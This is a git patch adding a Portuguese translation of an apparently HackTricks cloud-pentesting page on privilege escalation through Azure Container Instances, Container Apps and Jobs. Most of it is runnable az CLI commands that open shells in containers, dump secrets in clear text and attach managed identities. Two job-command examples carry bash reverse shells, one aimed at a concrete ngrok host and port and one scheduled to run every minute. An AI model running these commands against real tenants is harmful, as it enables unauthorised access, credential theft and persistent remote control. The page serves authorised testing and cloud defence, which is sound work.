From 3db9f8e394ed3922b6e7933f4a1a7d6593c70e1a Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 25 Feb 2025 22:37:36 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation --- ...z-container-instances-apps-jobs-privesc.md | 177 ++++++++++++++++++ 1 file changed, 177 insertions(+) create mode 100644 src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md new file mode 100644 index 000000000..a18244102 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md @@ -0,0 +1,177 @@ +# Az - Azure Container Instances, Apps & Jobs Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Container Instances, Apps & Jobs + +Para mais informações, consulte: + +{{#ref}} +../az-services/az-container-instances-apps-jobs.md +{{#endref}} + +## ACI + +### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action` + +Essas permissões permitem que o usuário **execute um comando** em um contêiner em execução. Isso pode ser usado para **escalar privilégios** no contêiner se ele tiver alguma identidade gerenciada anexada. Claro, também é possível acessar o código-fonte e qualquer outra informação sensível armazenada dentro do contêiner. + +Para obter um shell, é tão simples quanto: +```bash +az container exec --name --resource-group --exec-command '/bin/sh' +``` +Também é possível **ler a saída** do contêiner com: +```bash +az container attach --name --resource-group +``` +Ou obtenha os logs com: +```bash +az container logs --name --resource-group +``` +### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Essas permissões permitem **anexar uma identidade gerenciada pelo usuário** a um grupo de contêineres. Isso é muito útil para escalar privilégios no contêiner. + +Para anexar uma identidade gerenciada pelo usuário a um grupo de contêineres: +```bash +az rest \ +--method PATCH \ +--url "/subscriptions//resourceGroups//providers/Microsoft.ContainerInstance/containerGroups/?api-version=2021-09-01" \ +--body '{ +"identity": { +"type": "UserAssigned", +"userAssignedIdentities": { +"/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/": {} +} +} +}' \ +--headers "Content-Type=application/json" +``` +### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Essas permissões permitem **criar ou atualizar um grupo de contêiner** com uma **identidade gerenciada pelo usuário** anexada a ele. Isso é muito útil para escalar privilégios no contêiner. +```bash +az container create \ +--resource-group \ +--name nginx2 \ +--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \ +--assign-identity "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" \ +--restart-policy OnFailure \ +--os-type Linux \ +--cpu 1 \ +--memory 1.0 +``` +Além disso, também é possível atualizar um grupo de contêiner existente adicionando, por exemplo, o argumento **`--command-line`** com um shell reverso. + +## ACA + +### `Microsoft.App/containerApps/read`, `Microsoft.App/managedEnvironments/read`, `microsoft.app/containerapps/revisions/replicas`, `Microsoft.App/containerApps/revisions/read`, `Microsoft.App/containerApps/getAuthToken/action` + +Essas permissões permitem que o usuário **obtenha um shell** em um contêiner de aplicativo em execução. Isso pode ser usado para **escalar privilégios** no contêiner se ele tiver alguma identidade gerenciada anexada. Claro, também é possível acessar o código-fonte e qualquer outra informação sensível armazenada dentro do contêiner. +```bash +az containerapp exec --name --resource-group --command "sh" +az containerapp debug --name --resource-group + +``` +### `Microsoft.App/containerApps/listSecrets/action` + +Esta permissão permite obter o **texto claro dos segredos** configurados dentro de um aplicativo de contêiner. Observe que os segredos podem ser configurados com o texto claro ou com um link para um cofre de chaves (nesse caso, o aplicativo terá uma identidade gerenciada atribuída com acesso aos segredos). +```bash +az containerapp secret list --name --resource-group +az containerapp secret show --name --resource-group --secret-name +``` +### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Essas permissões permitem **anexar uma identidade gerenciada pelo usuário** a um aplicativo de contêiner. Isso é muito útil para escalar privilégios no contêiner. Executar essa ação a partir do az cli também requer a permissão `Microsoft.App/containerApps/listSecrets/action`. + +Para anexar uma identidade gerenciada pelo usuário a um grupo de contêiner: +```bash +az containerapp identity assign -n -g --user-assigned myUserIdentityName +``` +### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action` + +Essas permissões permitem **criar ou atualizar um contêiner de aplicativo** com uma **identidade gerenciada pelo usuário** anexada a ele. Isso é muito útil para escalar privilégios no contêiner. +```bash +# Get environments +az containerapp env list --resource-group Resource_Group_1 + +# Create app in a an environment +az containerapp create \ +--name \ +--resource-group \ +--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \ +--cpu 1 --memory 1.0 \ +--user-assigned \ +--min-replicas 1 \ +--command "" +``` +> [!TIP] +> Note que com essas permissões **outras configurações do aplicativo** podem ser modificadas, o que pode permitir a realização de outros ataques de privesc e pós-exploração, dependendo da configuração dos aplicativos existentes. + +## Jobs + +### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/write` + +Embora os jobs não sejam de longa duração como os aplicativos de contêiner, você pode explorar a capacidade de substituir a configuração do comando do job ao iniciar uma execução. Ao criar um template de job personalizado (por exemplo, substituindo o comando padrão por um shell reverso), você pode obter acesso ao shell dentro do contêiner que executa o job. +```bash +# Retrieve the current job configuration and save its template: +az containerapp job show --name --resource-group --output yaml > job-template.yaml + +# Edit job-template.yaml to override the command with a reverse shell (or similar payload): +# For example, change the container’s command to: +# - args: +# - -c +# - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1 +# command: +# - /bin/bash +# image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest + +# Update and wait until the job is triggered (or change ths type to scheduled) +az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml + +# Start a new job execution with the modified template: +az containerapp job start --name --resource-group --yaml job-template.yaml +``` +### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/listSecrets/action` + +Se você tiver essas permissões, pode listar todos os segredos (primeira permissão) dentro de um contêiner de Job e, em seguida, ler os valores dos segredos configurados. +```bash +az containerapp job secret list --name --resource-group +az containerapp job secret show --name --resource-group --secret-name +``` +### `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/jobs/write` + +Se você tiver permissão para modificar a configuração de um trabalho, pode anexar uma identidade gerenciada atribuída a um usuário. Essa identidade pode ter privilégios adicionais (por exemplo, acesso a outros recursos ou segredos) que podem ser explorados para escalar privilégios dentro do contêiner. +```bash +az containerapp job update \ +--name \ +--resource-group \ +--assign-identity +``` +### `Microsoft.App/managedEnvironments/read`, `Microsoft.App/jobs/write`, `Microsoft.App/managedEnvironments/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Se você puder criar um novo Job de Container Apps (ou atualizar um existente) e anexar uma identidade gerenciada, pode projetar o job para executar um payload que eleva privilégios. Por exemplo, você poderia criar um novo job que não apenas executa um shell reverso, mas também usa as credenciais da identidade gerenciada para solicitar tokens ou acessar outros recursos. +```bash +az containerapp job create \ +--name \ +--resource-group \ +--environment \ +--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \ +--user-assigned \ +--trigger-type Schedule \ +--cron-expression "*/1 * * * *" \ +--replica-timeout 1800 \ +--replica-retry-limit 0 \ +--command "bash -c 'bash -i >& /dev/tcp// 0>&1'" +``` +> [!TIP] +> Este comando gerará um erro se você não tiver a permissão `Microsoft.App/jobs/read`, embora o Job seja criado. + +### `microsoft.app/jobs/start/action`, `microsoft.app/jobs/read` + +Parece que com essas permissões deveria ser possível iniciar um job. Isso poderia ser usado para iniciar um job com um shell reverso ou qualquer outro comando malicioso sem precisar modificar a configuração do job. + +Não consegui fazê-lo funcionar, mas de acordo com os parâmetros permitidos, deveria ser possível. + + +{{#include ../../../banners/hacktricks-training.md}}